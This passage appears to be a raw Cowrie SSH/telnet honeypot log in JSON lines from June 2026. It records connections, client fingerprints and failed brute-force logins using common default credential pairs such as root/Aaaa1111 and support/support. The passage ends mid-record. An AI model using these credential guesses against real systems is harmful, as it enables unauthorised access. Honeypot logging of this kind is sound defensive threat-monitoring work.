{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:01.059564Z","src_ip":"91.92.42.227","session":"9cba8203c3ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:01.063190Z","src_ip":"91.92.42.227","session":"9cba8203c3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:02.680067Z","src_ip":"91.92.42.227","session":"9cba8203c3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35862,"dst_ip":"10.17.0.5","dst_port":22,"session":"b566acac1ae6","protocol":"ssh","message":"New connection: 45.156.87.147:35862 (10.17.0.5:22) [session: b566acac1ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:04.468083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:04.475347Z","src_ip":"45.156.87.147","session":"b566acac1ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:04.559119Z","src_ip":"45.156.87.147","session":"b566acac1ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:04.635704Z","src_ip":"91.92.42.227","session":"9cba8203c3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:04.900470Z","src_ip":"45.156.87.147","session":"b566acac1ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:05.989718Z","src_ip":"45.156.87.147","session":"b566acac1ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52622,"dst_ip":"10.17.0.5","dst_port":22,"session":"1addeff5ca89","protocol":"ssh","message":"New connection: 91.92.42.227:52622 (10.17.0.5:22) [session: 1addeff5ca89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:07.587708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:08.001805Z","src_ip":"91.92.42.227","session":"1addeff5ca89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:08.012469Z","src_ip":"91.92.42.227","session":"1addeff5ca89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:10.115800Z","src_ip":"91.92.42.227","session":"1addeff5ca89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6226064cc1ce","protocol":"ssh","message":"New connection: 45.156.87.147:39740 (10.17.0.5:22) [session: 6226064cc1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:10.301879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:10.306981Z","src_ip":"45.156.87.147","session":"6226064cc1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:10.391063Z","src_ip":"45.156.87.147","session":"6226064cc1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"password","message":"login attempt [vncuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:10.644610Z","src_ip":"45.156.87.147","session":"6226064cc1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:11.722202Z","src_ip":"91.92.42.227","session":"1addeff5ca89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:11.737006Z","src_ip":"45.156.87.147","session":"6226064cc1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.567822217941284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:13.170086Z","src_ip":"16.162.188.118","session":"cb8780c48f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50186,"dst_ip":"159.203.135.109","dst_port":22,"session":"1862fe7557f4","protocol":"ssh","message":"New connection: 27.71.230.31:50186 (159.203.135.109:22) [session: 1862fe7557f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:14.038185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:14.048561Z","src_ip":"27.71.230.31","session":"1862fe7557f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:14.380009Z","src_ip":"27.71.230.31","session":"1862fe7557f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52698,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f5e941c233b","protocol":"ssh","message":"New connection: 91.92.42.227:52698 (10.17.0.5:22) [session: 1f5e941c233b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:14.443578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:14.809280Z","src_ip":"91.92.42.227","session":"1f5e941c233b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:14.813418Z","src_ip":"91.92.42.227","session":"1f5e941c233b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39746,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0f9df48c57d","protocol":"ssh","message":"New connection: 45.156.87.147:39746 (10.17.0.5:22) [session: d0f9df48c57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:16.185234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:16.196367Z","src_ip":"45.156.87.147","session":"d0f9df48c57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:16.285494Z","src_ip":"45.156.87.147","session":"d0f9df48c57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"123","message":"login attempt [odoo16/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:16.541528Z","src_ip":"45.156.87.147","session":"d0f9df48c57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:16.844961Z","src_ip":"91.92.42.227","session":"1f5e941c233b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:17.629685Z","src_ip":"45.156.87.147","session":"d0f9df48c57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:18.089687Z","src_ip":"91.92.42.227","session":"1f5e941c233b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":57140,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a469eb4920","protocol":"telnet","message":"New connection: 103.249.87.183:57140 (159.203.135.109:23) [session: 09a469eb4920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:20.479550Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin$","message":"login attempt [root/Admin$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:21.709951Z","src_ip":"27.71.230.31","session":"1862fe7557f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54806,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be2857636aa","protocol":"ssh","message":"New connection: 91.92.42.227:54806 (10.17.0.5:22) [session: 3be2857636aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:21.944319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:22.067223Z","src_ip":"91.92.42.227","session":"3be2857636aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:22.070658Z","src_ip":"91.92.42.227","session":"3be2857636aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60062,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb54628fd3b","protocol":"ssh","message":"New connection: 45.156.87.147:60062 (10.17.0.5:22) [session: 3bb54628fd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:22.199463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:22.206851Z","src_ip":"45.156.87.147","session":"3bb54628fd3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 